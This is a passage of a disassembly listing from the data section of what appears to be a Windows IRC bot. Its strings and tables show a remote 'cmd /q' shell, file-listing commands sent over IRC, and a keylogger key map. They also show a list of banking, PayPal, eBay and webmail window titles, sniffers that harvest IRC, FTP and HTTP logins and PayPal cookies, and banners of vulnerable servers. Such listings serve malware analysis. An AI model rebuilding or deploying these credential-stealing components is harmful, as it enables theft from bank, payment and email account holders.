aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_434C54 db 2Dh ; - ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434C88: ; DATA XREF: sub_4100B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_435130 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o dword_435174 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4351DC db 2Dh ; - ; DATA XREF: ___:00410E94o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_435224 db 2Dh ; - ; DATA XREF: ___:004110E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_435264 db 2Dh ; - ; DATA XREF: ___:0041101Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4352A8 db 2Dh ; - ; DATA XREF: ___:004113A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4352D4 db 2Dh ; - ; DATA XREF: ___:00411382o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_435300 db 2Dh ; - ; DATA XREF: ___:00411362o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o align 4 unk_43533C db 2Dh ; - ; DATA XREF: ___:004112A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_435368 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_435394 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_41141F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_435530 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_435564 db 2Dh ; - ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4355AC db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4355D4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435614 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_435654 db 2Dh ; - ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 dword_435694 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119F9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h dd 234032Dh, 6B636F73h, 3023473h aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dd 4000500h, 7868746Bh, 2 dup(0) dword_435858 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; С aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436458 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_436BC4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:0041262Do ; sub_41AF8F+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_4374D0 dd offset off_4374CC dd offset off_4374C8 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C64o align 4 off_4374C8 dd offset word_505446 ; DATA XREF: ___:00436C60o off_4374CC dd offset aFailedToSta_36+15h ; DATA XREF: ___:00436C5Co off_4374D0 dd offset word_544F42 ; DATA XREF: ___:00436C58o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o aOper db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437744 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43777C db 2Dh ; - ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377B4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377E8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43781C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437850 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed 